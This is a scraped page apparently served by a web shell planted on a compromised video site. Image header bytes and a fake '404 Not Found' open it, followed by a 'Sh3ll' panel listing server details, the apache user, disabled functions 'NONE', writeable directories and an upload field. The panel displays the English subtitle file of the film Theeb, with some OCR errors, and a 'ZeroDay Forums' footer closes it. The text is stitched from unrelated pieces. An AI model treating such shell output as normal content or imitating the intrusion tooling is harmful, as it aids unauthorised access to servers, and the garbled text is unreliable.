����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/03-2019/5c85360acbd9f-1552233994.vtt
WEBVTT - https://subtitletools.com

00:01:11.488 --> 00:01:17.291
He who swims in the Red Sea
cannot know its true depth.

00:01:19.288 --> 00:01:24.886
And not just any man, Theeb,
can reach the seabed, my son.

00:01:26.712 --> 00:01:32.469
In questions of brotherhood,
never refuse a guest.

00:01:33.719 --> 00:01:39.601
Be the right hand of the right
when men make their stand.

00:01:41.643 --> 00:01:46.490
And if the wolves offer friendship,
do not count on success.

00:01:47.858 --> 00:01:52.864
They will not stand beside you
when you are facing death.

00:03:05.435 --> 00:03:07.153
Theeb.

00:03:07.229 --> 00:03:09.197
Hey, Theeb!

00:03:10.732 --> 00:03:12.279
Come here.

00:03:12.859 --> 00:03:14.702
Come water the camels.

00:03:22.285 --> 00:03:24.208
Let me get the other camel.

00:03:26.623 --> 00:03:29.126
- No playing, come here...
- Let me get it.

00:03:56.737 --> 00:03:58.239
Fill it up.

00:04:01.700 --> 00:04:03.043
That's right.

00:04:36.610 --> 00:04:38.738
Listen carefully.

00:04:39.780 --> 00:04:41.248
See this?

00:04:41.323 --> 00:04:44.953
Put the target here, understand?

00:04:45.035 --> 00:04:46.207
Uh-huh.

00:04:46.286 --> 00:04:48.630
Then line it up with that sight.

00:04:49.122 --> 00:04:53.878
Good, now watch how I do it.

00:04:59.716 --> 00:05:00.933
Good.

00:05:04.429 --> 00:05:07.353
Come here.

00:05:09.476 --> 00:05:11.103
Put it to your shoulder.

00:05:14.564 --> 00:05:18.159
Hold the rifle properly.
Move forward.

00:05:18.235 --> 00:05:20.454
- Good.
- Let go.

00:05:26.201 --> 00:05:28.624
- What?
- Where's the bullet?

00:05:29.079 --> 00:05:30.547
Where is it?

00:05:30.831 --> 00:05:34.927
No bullets until you aim straight.

00:05:35.585 --> 00:05:36.837
Fair?

00:05:38.338 --> 00:05:39.555
No!

00:05:42.008 --> 00:05:43.430
Take it.

00:05:44.177 --> 00:05:46.771
Careful, it's sharp.

00:05:55.605 --> 00:05:57.778
- Wait, wait!
- Get up, don't fall in.

00:06:00.443 --> 00:06:03.492
Let go.
Let go or else!

00:06:03.572 --> 00:06:04.869
- Or what?
- Let go.

00:06:08.869 --> 00:06:11.793
- Shall I drop you?
- Hussein, don't!

00:06:12.289 --> 00:06:15.634
- No more joking, agreed?
- Agreed.

00:06:15.876 --> 00:06:19.471
- Let's eat. I'm hungry.
- Let's go home.

00:06:19.546 --> 00:06:21.765
- Six!
- Tabb.

00:06:21.840 --> 00:06:24.093
- He got him.
- No, he's short.

00:06:24.175 --> 00:06:26.724
- He's not short.
- It is Tabb.

00:06:26.803 --> 00:06:28.805
- Don't touch it!
- it's Tabb.

00:06:30.599 --> 00:06:33.227
- It's Tabb, no argument.
- it's Abu Eid's turn.

00:06:33.310 --> 00:06:35.733
- Ottoman gold!
- it's a two.

00:06:37.814 --> 00:06:39.942
- Your turn, Sheikh.
- How much?

00:06:40.025 --> 00:06:42.494
- Another six.
- Six!

00:06:42.569 --> 00:06:44.992
- Two.
- Your dog's dead.

00:06:45.071 --> 00:06:47.824
- No chance.
- Count them.

00:06:49.159 --> 00:06:50.911
You're cheating.

00:06:51.786 --> 00:06:54.915
- We lost.
- Not yet.

00:06:58.627 --> 00:07:00.550
- How much?
- Six, Sheikh.

00:07:00.629 --> 00:07:02.802
Absolutely, six.

00:07:02.881 --> 00:07:05.350
- Six!
- Got him.

00:07:05.425 --> 00:07:07.052
He's out.

00:07:09.596 --> 00:07:10.722
Quiet!

00:07:11.514 --> 00:07:12.857
Someone's out there.

00:08:02.357 --> 00:08:03.984
Who is it, Hussein?

00:08:20.291 --> 00:08:21.964
We have guests.

00:08:22.669 --> 00:08:24.387
They are welcome.

00:08:28.758 --> 00:08:30.351
Peace be upon you.

00:08:31.136 --> 00:08:32.183
And unto you, welcome.

00:08:32.262 --> 00:08:34.515
- How are you?
- Welcome.

00:08:34.848 --> 00:08:37.692
- Peace be upon you.
- Welcome.

00:08:37.767 --> 00:08:39.986
- How are you?
- Good and you?

00:08:50.280 --> 00:08:51.873
- Welcome.
- Come in.

00:08:55.785 --> 00:08:57.037
Sit, sit.

00:09:01.666 --> 00:09:03.634
In the name of God.

00:09:05.086 --> 00:09:07.805
- How are you?
- We are well and you?

00:09:09.007 --> 00:09:12.511
- Good evening.
- And to you.

00:09:15.472 --> 00:09:18.021
- Coffee, Hussein.
- Coming.

00:09:19.684 --> 00:09:23.234
Good evening to you all.

00:09:40.538 --> 00:09:42.540
- A long life.
- And to you.

00:09:42.957 --> 00:09:45.881
- Long journey?
- Yes, it's been a long ride.

00:09:45.960 --> 00:09:47.928
God give you strength.

00:09:49.672 --> 00:09:52.551
- How is our guest?
- Well and you?

00:09:52.634 --> 00:09:55.888
How are you?
How's your health?

00:09:57.764 --> 00:09:59.311
Come on, Theeb.

00:10:03.770 --> 00:10:06.193
- Who's the foreigner?
- I don't know.

00:10:07.107 --> 00:10:09.860
- What's he want?
- Quiet, child.

00:10:12.445 --> 00:10:14.038
Choose one.

00:10:26.042 --> 00:10:27.544
Bring that one.

00:10:33.883 --> 00:10:35.226
That's right.

00:10:43.893 --> 00:10:45.110
It's a good one.

00:10:49.983 --> 00:10:51.405
In the name of God.

00:10:55.071 --> 00:10:56.823
- You want to kill it?
- Yes.

00:10:58.700 --> 00:11:02.170
- Alright, but don't tell our brother.
- Don't worry.

00:11:03.204 --> 00:11:06.424
Take it.
Say a prayer.

00:11:10.753 --> 00:11:13.802
Don't be scared.
Cut here.

00:11:19.679 --> 00:11:21.431
- Should I do it?
- No.

00:11:22.849 --> 00:11:24.601
No, let me.

00:11:26.686 --> 00:11:28.438
Help me hold it.

00:11:31.107 --> 00:11:32.484
In the name of God.

00:12:06.351 --> 00:12:08.774
- Eat, eat.
- It was delicious.

00:12:10.688 --> 00:12:12.156
You didn't eat.

00:12:12.232 --> 00:12:13.609
Water's there.

00:12:13.942 --> 00:12:15.660
Theeb, get him water.

00:12:44.514 --> 00:12:47.518
- Where's your friend from?
- He's English.

00:12:48.226 --> 00:12:49.978
Stop m

00:12:54.357 --> 00:12:56.359
I'll send you to Mother.

00:12:59.237 --> 00:13:03.458
- Where's Sheikh Abu Hmoud's tribe?
- You've arrived.

00:13:03.533 --> 00:13:07.003
- How is the Sheikh?
- He passed away.

00:13:07.537 --> 00:13:09.084
May he rest in peace.

00:13:11.374 --> 00:13:14.469
- He was a good man.
- Thank you.

00:13:16.379 --> 00:13:18.928
- Does he have sons?
- Yes.

00:13:19.590 --> 00:13:23.265
I'm the eldest
and this is Hussein and Theeb.

00:13:24.387 --> 00:13:26.481
- It's an honor.
- The honor's ours.

00:13:36.482 --> 00:13:38.155
What's he saying?

00:13:38.609 --> 00:13:39.906
I don't know.

00:13:40.737 --> 00:13:42.410
Keep quiet.

00:13:45.783 --> 00:13:47.751
Get an ember from the fire.

00:13:49.037 --> 00:13:50.584
He has his own.

00:13:52.457 --> 00:13:53.834
Thanks.

00:15:02.819 --> 00:15:04.412
Are you a prince?

00:15:09.492 --> 00:15:11.039
How many men have you killed?

00:16:00.501 --> 00:16:03.471
- I have a request, Sheikh.
- Of course.

00:16:04.255 --> 00:16:07.475
The sharif said you could guide us
to the Roman Well.

00:16:09.594 --> 00:16:11.972
On the Pilgrim's Trail?

00:16:12.889 --> 00:16:16.393
That trail's been abandoned
since the railroad came.

00:16:17.310 --> 00:16:18.937
I have people there.

00:16:19.020 --> 00:16:23.742
With all respect, there are more raiders
than pilgrims on that trail.

00:16:25.651 --> 00:16:27.779
Your father's reputation led us here.

00:16:30.198 --> 00:16:32.576
You've arrived.

00:16:34.243 --> 00:16:35.961
My brother Hussein will guide you.

00:16:42.126 --> 00:16:45.551
- I'll see you, brother.
- Soon, God willing.

00:16:49.926 --> 00:16:52.429
- With your permission, Sheikh.
- Go in peace.

00:19:00.848 --> 00:19:02.100
Hussein!

00:19:04.226 --> 00:19:05.478
Hussein.

00:19:09.982 --> 00:19:11.404
Hussein!

00:19:14.779 --> 00:19:16.201
Theeb?

00:19:19.408 --> 00:19:22.537
We need the boy's brother
to guide us.

00:19:26.248 --> 00:19:27.750
What about the boy?

00:19:31.837 --> 00:19:33.760
We can't leave him.

00:19:33.839 --> 00:19:35.933
- What's he saying?
- Hold on.

00:19:37.093 --> 00:19:38.595
Who takes the boy back?

00:19:41.430 --> 00:19:44.479
We need his brother to guide us.

00:19:44.558 --> 00:19:46.777
- What's he saying?
- You must come with us.

00:19:48.229 --> 00:19:50.027
I'll take him home
and come back.

00:19:50.106 --> 00:19:52.734
He wants to leave now.

00:19:53.275 --> 00:19:55.448
- Convince him.
- He won't listen.

00:21:49.099 --> 00:21:50.396
Let's go.

00:21:52.144 --> 00:21:53.145
Let's go.

00:22:32.935 --> 00:22:34.437
Who is she?

00:22:35.938 --> 00:22:37.281
His wife.

00:22:38.107 --> 00:22:39.575
Hussein wants to marry.

00:22:39.650 --> 00:22:41.698
- Don't be rude.
- Congratulations.

00:22:44.196 --> 00:22:45.698
It's a long wait.

00:22:45.781 --> 00:22:47.909
Why do you always wink at her?

00:22:48.826 --> 00:22:51.124
Quiet, you're rude.

00:22:53.789 --> 00:22:54.790
Women.

00:22:56.876 --> 00:22:59.800
- What's that?
- When you're older.

00:23:02.798 --> 00:23:04.641
Let your friend sing.

00:23:09.638 --> 00:23:10.810
- Sing.
- Sing, man.

00:23:13.267 --> 00:23:14.484
Sing for us.

00:23:14.560 --> 00:23:16.153
- Sing!
_ Sing, Sing_

00:23:29.033 --> 00:23:34.335
For too long now

00:23:34.413 --> 00:23:40.295
You have forsaken home

00:24:18.540 --> 00:24:21.589
- What do you think?
- Six riders.

00:24:24.713 --> 00:24:26.465
Pilgrims maybe.

00:24:26.548 --> 00:24:28.175
Then let's ride.

00:24:29.510 --> 00:24:31.387
There's a problem, Marji?

00:24:31.470 --> 00:24:33.063
No problem.

00:24:49.571 --> 00:24:51.073
What do they want
with the well?

00:24:53.033 --> 00:24:55.661
I don't know.
We take them and go home.

00:25:07.923 --> 00:25:10.472
- What's in the box?
- The box?

00:25:11.093 --> 00:25:13.187
He goes crazy if I touch it.

00:25:14.680 --> 00:25:16.682
The Englishman keeps his gold in it.

00:25:19.643 --> 00:25:21.236
I'll give them some bread.

00:25:42.124 --> 00:25:43.797
Don't touch him.

00:25:45.127 --> 00:25:47.721
- Don't you dare touch him!
- Calm down.

00:25:49.214 --> 00:25:51.637
- Go over there.
- Never touch him!

00:26:03.854 --> 00:26:06.983
Never touch my brother!
No matter what he does.

00:26:07.066 --> 00:26:11.196
He doesn't want anyone
to touch the box.

00:26:11.278 --> 00:26:15.249
- He didn't know.
- So tell him not to.

00:26:15.324 --> 00:26:17.326
Don't touch it again.

00:26:18.160 --> 00:26:19.503
Agreed?

00:27:12.131 --> 00:27:13.804
There's your well.

00:27:19.179 --> 00:27:20.897
They're coming.

00:28:15.819 --> 00:28:17.446
Marji, blood!

00:28:25.913 --> 00:28:27.665
- They slaughtered them.
- Let's go.

00:28:40.677 --> 00:28:42.429
We're being watched.

00:28:43.805 --> 00:28:45.478
Could they be your men?

00:29:07.287 --> 00:29:09.540
Let's get out of here.

00:29:18.215 --> 00:29:19.387
That way, that way.

00:29:24.304 --> 00:29:26.022
They killed our men.

00:29:28.392 --> 00:29:30.611
Those are our men down the well.

00:29:31.687 --> 00:29:33.030
What's happening?

00:29:34.147 --> 00:29:35.524
We need more men.

00:29:39.027 --> 00:29:40.870
He's crazy.

00:30:03.677 --> 00:30:05.054
I can't.

00:30:06.596 --> 00:30:07.813
I won't leave them.

00:30:09.558 --> 00:30:11.060
What's wrong with you?

00:30:12.019 --> 00:30:13.612
We brought them here.

00:30:15.063 --> 00:30:16.610
We cannot leave them.

00:30:18.191 --> 00:30:19.613
I'm not leaving them!

00:30:20.819 --> 00:30:23.368
I'll die before I abandon them!

00:30:23.447 --> 00:30:26.121
- What are they fighting about?
- it's none of our business.

00:30:30.037 --> 00:30:31.835
Brotherhood is more important
than your railway.

00:30:51.933 --> 00:30:53.276
You're leaving?

00:30:53.769 --> 00:30:56.147
You've done enough.

00:30:56.688 --> 00:30:58.782
You honor your father's memory.

00:31:13.997 --> 00:31:16.625
- Peace be upon you.
- Goodbye, Mary.

00:31:16.708 --> 00:31:18.881
- I hope we meet again.
- God willing.

00:31:19.461 --> 00:31:20.838
Goodbye.

00:31:20.921 --> 00:31:22.468
Peace be upon you.

00:31:30.472 --> 00:31:33.316
Marji, I'm worried
you won't find the next well.

00:31:34.851 --> 00:31:37.195
The trail's too dangerous
for the boy.

00:31:37.687 --> 00:31:39.064
Goodbye.

00:32:05.340 --> 00:32:06.842
Let's follow them.

00:32:08.135 --> 00:32:10.058
- Why?
- Help me pack.

00:32:10.137 --> 00:32:11.514
Why?

00:32:11.596 --> 00:32:14.941
You want them to die of thirst?
We can't leave them.

00:32:15.434 --> 00:32:16.526
I'm not going.

00:32:17.644 --> 00:32:19.646
Why did you follow me then?

00:32:21.398 --> 00:32:23.150
Can you survive alone?

00:32:23.859 --> 00:32:25.361
I can take care of myself.

00:32:27.612 --> 00:32:29.706
So now you can take care
of yourself?

00:32:29.781 --> 00:32:32.534
- Why did you follow me then?
- You're not my father.

00:32:39.541 --> 00:32:42.010
Come pack our things.

00:32:43.962 --> 00:32:45.839
This trail is for men.

00:34:06.253 --> 00:34:08.381
All clear!

00:34:26.273 --> 00:34:28.992
Tracks from yesterday.
They lead out of the canyon.

00:35:30.545 --> 00:35:32.047
You sense something?

00:35:34.299 --> 00:35:35.721
No.

00:35:58.740 --> 00:36:01.835
Get back, boy!
Don't fall.

00:36:40.365 --> 00:36:41.662
It's good.

00:36:58.842 --> 00:36:59.843
You see them?

00:37:03.638 --> 00:37:05.185
- Save your brother.
- We won't leave you.

00:37:05.932 --> 00:37:08.651
- Go! I'll cover you.
- Run!

00:37:28.747 --> 00:37:30.374
- Why did you come back?
- it's a trap.

00:37:37.130 --> 00:37:38.598
Let's face them.

00:37:49.851 --> 00:37:50.693
Got him!

00:37:52.312 --> 00:37:53.689
Run.

00:38:14.667 --> 00:38:16.385
Get up the mountain.

00:39:02.590 --> 00:39:06.265
- Where are they?
- I lost them.

00:39:12.892 --> 00:39:17.363
You're surrounded.
Surrender and you'll have peace.

00:39:17.438 --> 00:39:20.817
We don't want you.
We just want the camels.

00:39:30.368 --> 00:39:32.245
We lose the camels, we die.

00:39:41.546 --> 00:39:42.718
Are you alright?

00:39:43.298 --> 00:39:45.676
- Kill them!
- I'll get them.

00:40:32.180 --> 00:40:34.933
Say your prayers, pilgrims.

00:40:37.435 --> 00:40:39.187
- Hey, brothers.
- What?

00:40:39.270 --> 00:40:42.149
- The view's better from here.
- Here we come.

00:40:45.276 --> 00:40:47.404
We're coming for you, boys.

00:40:47.487 --> 00:40:49.205
Make a run for it!

00:40:52.116 --> 00:40:54.665
Too late for prayers,
you're as good as dead.

00:41:05.546 --> 00:41:07.389
Don't listen to them.

00:41:08.466 --> 00:41:10.389
I'm not scared.

00:41:13.805 --> 00:41:15.807
Remember our father.

00:41:15.890 --> 00:41:17.984
“The strong eat the weak.”

00:41:18.518 --> 00:41:20.395
We're stronger than them.

00:41:25.108 --> 00:41:27.327
Get some sleep, brothers.

00:41:38.579 --> 00:41:41.082
Don't sleep, little doggies!

00:41:44.252 --> 00:41:50.100
Hey, I think
they've really fallen asleep!

00:41:50.550 --> 00:41:53.144
- They're dreaming.
- Hey, boys,

00:41:53.219 --> 00:41:55.597
no sleeping in bandit country.

00:41:57.015 --> 00:41:58.688
Don't sleep.

00:41:59.225 --> 00:42:03.401
- Hilayal, let's wake them.
- Good idea.

00:42:12.280 --> 00:42:13.782
Listen.

00:42:15.742 --> 00:42:17.619
If anything happens,

00:42:18.578 --> 00:42:20.797
climb up the mountain.

00:42:22.999 --> 00:42:25.969
When it's safe, wait by the well.
Someone will come.

00:42:28.129 --> 00:42:29.722
You hear?

00:42:33.342 --> 00:42:34.639
You hear?

00:42:35.678 --> 00:42:37.180
Ihean

00:43:09.128 --> 00:43:10.380
Get up, Theeb!

00:43:31.776 --> 00:43:33.119
Hussein!

00:43:36.364 --> 00:43:38.037
He got away, kill him!

00:44:06.310 --> 00:44:07.903
Where's the boy?

00:44:18.739 --> 00:44:20.241
Little doggy?

00:44:26.247 --> 00:44:28.045
He's in the well.

00:44:29.208 --> 00:44:31.631
Why are you hiding,
little doggy?

00:44:37.633 --> 00:44:39.476
I missed him.

00:44:39.552 --> 00:44:41.054
Cut the rope.

00:49:05.276 --> 00:49:06.778
Hussein!

00:49:13.868 --> 00:49:15.541
Hussein.

00:49:15.619 --> 00:49:17.496
Answer me, Hussein.

00:49:22.418 --> 00:49:23.886
Hussein!

00:49:32.136 --> 00:49:33.638
Hussein.

00:49:34.388 --> 00:49:35.605
Hussein.

00:54:16.712 --> 00:54:19.591
Over here!

00:54:22.050 --> 00:54:24.269
I'm over here.

00:55:13.185 --> 00:55:14.562
Hey.

00:55:21.193 --> 00:55:22.570
Please, man.

00:55:23.070 --> 00:55:24.413
Hey.

00:55:30.911 --> 00:55:32.709
Answer me.

00:55:34.081 --> 00:55:36.254
I'm begging you, answer.

01:00:11.525 --> 01:00:12.651
Water.

01:00:20.784 --> 01:00:22.206
Water.

01:01:08.582 --> 01:01:10.300
Let me drink.

01:01:42.199 --> 01:01:43.701
Get it over with.

01:01:53.585 --> 01:01:55.087
Get it over with.

01:02:06.348 --> 01:02:08.316
I swear I'll find you!

01:02:08.808 --> 01:02:10.776
I swear I'll kill you!

01:02:16.358 --> 01:02:17.985
Somebody help me!

01:02:18.652 --> 01:02:20.325
I'll get you, little dog.

01:02:22.656 --> 01:02:24.954
There's nobody out there.

01:02:26.785 --> 01:02:28.583
Help me!

01:02:29.496 --> 01:02:31.919
I'm the only one
who can help you!

01:02:35.585 --> 01:02:37.087
Help me!

01:03:32.392 --> 01:03:33.894
That's dangerous!

01:04:33.286 --> 01:04:34.708
Don't be scared.

01:04:35.372 --> 01:04:37.045
Don't be scared.

01:04:39.793 --> 01:04:41.295
Don't be scared.

01:04:44.631 --> 01:04:46.474
Why were you
with the Englishman?

01:04:52.847 --> 01:04:54.724
- Shut up.
- Silence.

01:04:55.475 --> 01:04:57.148
Did I bring you here?

01:04:57.644 --> 01:05:00.022
Your people put you in this mess.

01:05:01.481 --> 01:05:03.279
You killed them.

01:05:03.358 --> 01:05:06.532
Didn't I say,
“Surrender and you'll have peace”?

01:05:06.861 --> 01:05:08.078
And what did you do?

01:05:09.656 --> 01:05:13.081
You shot me!
So don't blame me.

01:05:15.495 --> 01:05:19.045
God sent me so that
the beasts don't eat you.

01:05:21.459 --> 01:05:23.177
I don't need you.

01:05:23.795 --> 01:05:25.388
You're sure?

01:05:25.964 --> 01:05:27.341
You don't need me?

01:05:28.425 --> 01:05:30.268
The trail is clear.

01:05:30.969 --> 01:05:33.518
Take my camel as blood money.

01:05:36.975 --> 01:05:38.522
What are you waiting for?

01:05:41.354 --> 01:05:43.777
Because you're a helpless rabbit.

01:05:44.441 --> 01:05:48.036
Worse.
At least a rabbit can survive alone.

01:05:48.945 --> 01:05:51.073
Maybe I'll let the beasts eat you.

01:05:56.619 --> 01:05:58.292
Until the morning.

01:07:19.202 --> 01:07:20.624
Sleep.

01:07:58.324 --> 01:07:59.826
Clean the bread.

01:08:18.928 --> 01:08:22.523
God punish them
for not cleaning my wound.

01:08:22.599 --> 01:08:24.101
Who?

01:08:30.356 --> 01:08:32.859
They never appreciated
the value of brotherhood.

01:08:55.006 --> 01:08:56.553
Don't betray me.

01:09:34.921 --> 01:09:36.138
Come here.

01:09:45.973 --> 01:09:49.443
Take the dagger
and dig the bullet out.

01:09:55.441 --> 01:09:57.114
Dig it out with the tip.

01:09:59.320 --> 01:10:01.118
Use the dagger's tip.

01:10:54.459 --> 01:10:56.507
Put the dagger in the fire.

01:10:59.297 --> 01:11:00.799
Put it in the fire.

01:11:15.980 --> 01:11:18.984
Come here. Leave it.

01:11:20.318 --> 01:11:21.740
Come here.

01:11:29.035 --> 01:11:30.787
It's loaded.

01:11:31.621 --> 01:11:35.251
If anything happens to me,
protect us.

01:11:38.878 --> 01:11:40.130
Take it.

01:11:42.507 --> 01:11:44.384
Give me the dagger.

01:12:36.394 --> 01:12:38.522
You fed us well.

01:13:04.964 --> 01:13:06.432
- No.
- No?

01:13:29.155 --> 01:13:30.907
That's the Englishman's.

01:13:36.245 --> 01:13:39.089
- What's your name?
- Theeb.

01:13:41.834 --> 01:13:43.336
Theeb?

01:13:50.092 --> 01:13:52.515
Is that your tribe's mark
on the box?

01:14:01.187 --> 01:14:04.191
Who's Sheikh Abu Hmoud to you?

01:14:05.733 --> 01:14:07.235
He's my father.

01:14:10.696 --> 01:14:13.575
The Wolf begets a Wolf.

01:14:16.035 --> 01:14:17.207
Here.

01:14:33.928 --> 01:14:40.982
Wolf, I beseech you
don't eat the wolf

01:14:43.229 --> 01:14:49.953
How many nights did he feed you
when you were starving?

01:14:50.653 --> 01:14:52.576
Sing with me, Wolf.

01:14:54.991 --> 01:15:02.250
Wolf, I beseech you
don't eat the wolf

01:15:03.916 --> 01:15:11.016
How many nights did he feed you
when you were starving?

01:15:31.485 --> 01:15:33.487
The departed never return.

01:17:42.199 --> 01:17:44.247
How do you track with the stars?

01:17:47.496 --> 01:17:50.340
Put the North Star
between your eyes.

01:17:55.629 --> 01:17:57.802
And the South Star
between your shoulders.

01:18:08.309 --> 01:18:10.812
- What's our direction?
- West.

01:18:11.145 --> 01:18:12.442
Right.

01:18:25.910 --> 01:18:29.039
- What's that?
- The iron donkey.

01:18:29.121 --> 01:18:31.840
- What?
- You'll see.

01:18:36.754 --> 01:18:38.848
This is what destroyed us.

01:18:40.966 --> 01:18:42.559
What is it?

01:18:43.135 --> 01:18:45.058
The iron donkey trail.

01:18:46.931 --> 01:18:48.433
What's it for?

01:18:49.391 --> 01:18:53.897
Pilgrims and Ottoman soldiers ride it.

01:18:56.315 --> 01:19:01.367
A month by camel
now takes a week by train.

01:19:27.054 --> 01:19:28.431
We're not raiders.

01:19:29.139 --> 01:19:30.516
You're revolutionaries.

01:19:30.599 --> 01:19:34.729
If you know us,
who are you?

01:19:35.354 --> 01:19:38.699
- I'm a pilgrim guide.
- Aren't you obsolete?

01:19:39.692 --> 01:19:41.194
I'm the last one.

01:19:43.654 --> 01:19:44.906
Who's this pilgrim?

01:19:45.698 --> 01:19:47.166
That's Hmoud.

01:19:49.326 --> 01:19:51.875
You going to Mecca, Hmoud?

01:19:53.872 --> 01:19:54.919
Yes.

01:19:55.791 --> 01:19:57.464
Mecca's behind you.

01:19:59.003 --> 01:20:01.631
I'm taking him
to the train station.

01:20:01.714 --> 01:20:02.715
Bad idea.

01:20:04.925 --> 01:20:06.393
That's none of your business.

01:20:06.719 --> 01:20:08.892
Where did you get that pistol?

01:20:11.974 --> 01:20:14.318
Is it strange to carry guns?

01:20:14.393 --> 01:20:18.489
There are no English pistols
around here.

01:20:19.898 --> 01:20:21.571
I bought it in Egypt.

01:20:22.943 --> 01:20:25.412
Have you seen an Englishman?

01:20:26.530 --> 01:20:29.124
In Egypt,
I bought the gun from one.

01:20:30.784 --> 01:20:34.254
And Hmoud,
did you see an Englishman?

01:20:37.583 --> 01:20:39.210
What's an Englishman?

01:20:45.257 --> 01:20:46.759
We have a long journey.

01:20:47.760 --> 01:20:49.137
Time to go.

01:20:51.180 --> 01:20:56.277
Avoid the railway.
We have business with the Ottomans.

01:20:56.977 --> 01:20:59.821
Go in peace. Safe journey.

01:21:20.000 --> 01:21:24.005
I've met all kinds of people.

01:21:26.173 --> 01:21:28.801
Anyone from wise men to merchants.

01:21:30.969 --> 01:21:34.064
I even took a ship captain to Mecca.

01:21:35.432 --> 01:21:37.150
What's a ship captain?

01:21:37.976 --> 01:21:40.399
They guide people at sea.

01:21:45.484 --> 01:21:47.282
I've never seen the sea.

01:21:50.864 --> 01:21:52.582
I've seen two.

01:21:54.493 --> 01:21:56.336
The Red Sea...

01:21:58.247 --> 01:22:00.249
and the Palestine sea.

01:22:00.999 --> 01:22:03.343
I've traveled all over.

01:22:04.461 --> 01:22:07.180
I've seen Jerusalem and al-Sham.

01:22:09.341 --> 01:22:13.391
Everywhere from Baghdad
to Al-Madinah al-Munawwarah.

01:22:16.515 --> 01:22:18.188
WW (M you stop'?

01:22:23.188 --> 01:22:24.906
They stopped me.

01:22:26.191 --> 01:22:28.865
The train came and ruined everything.

01:22:29.695 --> 01:22:33.871
All my forefathers were pilgrim guides.

01:22:35.325 --> 01:22:37.544
They left us in dark times,

01:22:38.120 --> 01:22:41.124
without means or opportunity.

01:22:42.541 --> 01:22:44.509
And so brother killed brother.

01:23:09.735 --> 01:23:11.954
The strong eat the weak.

01:23:22.706 --> 01:23:24.800
Those are your Englishman's friends.

01:23:28.921 --> 01:23:30.389
What happened?

01:23:31.089 --> 01:23:32.591
The train.

01:23:33.592 --> 01:23:34.969
Madmen.

01:23:35.761 --> 01:23:38.264
You can't stop a spear
with your hand.

01:24:20.639 --> 01:24:24.394
Put the saddle on
and stay with the camel.

01:24:25.018 --> 01:24:26.520
I won't be long.

01:24:43.954 --> 01:24:45.331
What do you want?

01:24:46.081 --> 01:24:48.504
- The lieutenant.
- Go on.

01:27:00.382 --> 01:27:01.679
Come forward.

01:28:14.331 --> 01:28:17.426
- Where did you get it?
- From Egypt.

01:29:19.729 --> 01:29:20.855
That's my son.

01:29:26.111 --> 01:29:27.829
Stay with the camel.

01:29:33.910 --> 01:29:35.412
What's his name?

01:29:36.913 --> 01:29:40.508
Theeb,
my right hand on the trail.

01:29:44.796 --> 01:29:46.298
Here, Theeb.

01:29:56.057 --> 01:29:57.274
Take it, Theeb.

01:30:04.482 --> 01:30:05.904
Take it, Theeb.

01:30:20.540 --> 01:30:22.759
Go to the camel.
I'll follow you.

01:32:02.559 --> 01:32:04.106
Drop the gun!

01:32:05.103 --> 01:32:06.525
Drop it, boy!

01:32:39.637 --> 01:32:41.480
He killed my brother.

01:32:48.605 --> 01:32:49.822
Go home.

01:32:54.027 --> 01:32:55.529
Get rid of him.

ZeroDay Forums Mini